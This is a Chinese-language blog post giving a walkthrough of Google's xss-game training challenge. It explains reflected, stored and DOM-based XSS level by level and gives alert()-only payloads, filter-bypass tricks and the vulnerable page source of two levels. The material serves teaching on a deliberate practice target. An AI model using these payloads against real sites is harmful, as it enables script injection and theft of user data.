Java安全
首发于Java安全

xss-game游戏挑战赛系列一

xss-game.appspot.com

跨站点脚本(XSS)bug是Web应用程序中最常见、最危险的漏洞类型之一。这些讨厌的bug可以让你的敌人在你的应用程序中窃取或修改用户数据,你必须学会很快处理它们 !

google公司 非常清楚这些漏洞可能产生的影响。实际上,google对于发现和修复XSS问题是不遗余力。如果你在goole核心产品中发现危险的XSS漏洞支付多到$7500美金。

在xss-game联系靶机项目中,你可以学习发现和探索XSS bug。您可以学习并使用这些来迷惑并抵挡主你的对手的攻击,防止这些漏洞发生在您的应用中。

Xss-game总共包含6个Level的题目, 每个Level需要你在页面中注入xss代码 弹出一个格 JavaScript alert()对话框之后,才能进入下一个level的题目。

. level1 : Hello, world of XSS

Level1非常简单,是产生xss漏洞最为常见的原因,用户的输入未经任何转义直接包含显示在页面中。

<script>alert()</script>

也可以使用反斜号绕过,遇到“()”被屏蔽时可以使用这种方式。${String}这是ES6新增的模板字符串方法新特性。

<script>alert``</script>

. level2 : Persistence is Key

Web应用程序通常将用户数据保存在服务器端,并且越来越多地将客户端数据库放在客户端数据库中,然后将其显示给用户。无论用户可以控制的数据来自哪里,都应该谨慎处理。这个级别显示了在复杂的应用程序中可以很容易地引入XSS bug。Level2是一个利用存储型XSS漏洞的题目, <script></script>标签都被过滤不能生效, 使用其他标签就可以绕过了。参考payload:

<img src='N' onerror=alert(document.domain)>

. level3 : That sinking feeling...

正如您在Level2看到的,一些常见的JS函数是执行接收器,这意味着它们将导致浏览器执行出现在其输入中的任何脚本。 有时候,这个事实是被更高层次在后台运行的底层API所使用。

客户端从URL读取location.hash未进行安全过滤转义, html += "<img src='/static/level3/cloud" + num + ".jpg' />";,在JS上下文语义中未对变量num进行正确转义,闭合签名的<img>标签即可



<!doctype html>

<html>

 <head>
   <!-- Internal game scripts/styles, mostly boring stuff -->
   <script src="/static/game-frame.js"></script>
   <link rel="stylesheet" href="/static/game-frame-styles.css" />

   <!-- Load jQuery -->
   <script
     src="//ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js">
   </script>

   <script>
     function chooseTab(num) {
       // Dynamically load the appropriate image.
       var html = "Image " + parseInt(num) + "<br>";
       html += "<img src='/static/level3/cloud" + num + ".jpg' />";
       $('#tabContent').html(html);

       window.location.hash = num;

       // Select the current tab
       var tabs = document.querySelectorAll('.tab');
       for (var i = 0; i < tabs.length; i++) {
         if (tabs[i].id == "tab" + parseInt(num)) {
           tabs[i].className = "tab active";
           } else {
           tabs[i].className = "tab";
         }
       }

       // Tell parent we've changed the tab
       top.postMessage(self.location.toString(), "*");
     }

     window.onload = function() { 
       chooseTab(unescape(self.location.hash.substr(1)) || "1");
     }

     // Extra code so that we can communicate with the parent page
     window.addEventListener("message", function(event){
       if (event.source == parent) {
         chooseTab(unescape(self.location.hash.substr(1)));
       }
     }, false);
   </script>

 </head>
 <body id="level3">
   <div id="header">
     <img id="logo" src="/static/logos/level3.png">
     <span>Take a tour of our cloud data center.</a>
   </div>

   <div class="tab" id="tab1" onclick="chooseTab('1')">Image 1</div>
   <div class="tab" id="tab2" onclick="chooseTab('2')">Image 2</div>
   <div class="tab" id="tab3" onclick="chooseTab('3')">Image 3</div>

   <div id="tabContent"> </div>
 </body>
</html>


参考payload:


'/><sCript>alert();</scrIpt>


Level3是一个DOM类型的XSS漏洞。Dom-Based XSS与反射型、存储型XSS不同的是,它是在浏览器解析DOM过程中发生的漏洞,恶意JS代码发生在客户端,并不会在服务器端返回响应页面源码直接显示。

. level4 : Context matters 必须正确转义用户提供的每一位数据,以便其出现的页面上下文。Level4说明了原因。 xss-game.appspot.com/le 输入框输入时间,表单提交至另一个页面,页面上有一个定时器任务,后台功能是用Python开发的。思路与第三题差不多,查看页面源码

  <!doctype html>
   <html>
   <head>
    <!-- Internal game scripts/styles, mostly boring stuff -->
    <script src="/static/game-frame.js"></script>
    <link rel="stylesheet" href="/static/game-frame-styles.css" />
    
    <script>
      function startTimer(seconds) {
        seconds = parseInt(seconds) || 3;
        setTimeout(function() { 
          window.confirm("Time is up!");
          window.history.back();
        }, seconds * 1000);
      }
    </script>
   </head>
   <body id="level4">
    <img src="/static/logos/level4.png" />
    <br>
    <img src="/static/loading.gif" onload="startTimer('{{ timer }}');" />
    <br>
    <div id="message">Your timer will execute in {{ timer }} seconds.</div>
   </body>
   </html>

参考payload:

 }}');alert();//


. level5 : Context matters

XSS不仅仅只是正确地转义数据。有时,攻击者即使不向DOM注入新元素,攻击者也会做坏事。

javascript:alert(1)

. level6: Follow the

google.com/jsapi? 重点是前面的空格

题目完成之后,google给出一份如何解决XSS问题的解题文档:

xss-game.appspot.com/do

google.com/about/appsec


freebuf上有最新版挑战赛的解题报告,题目地址不过没有找到:

freebuf.com/articles/we

发布于 2017-10-09

文章被以下专栏收录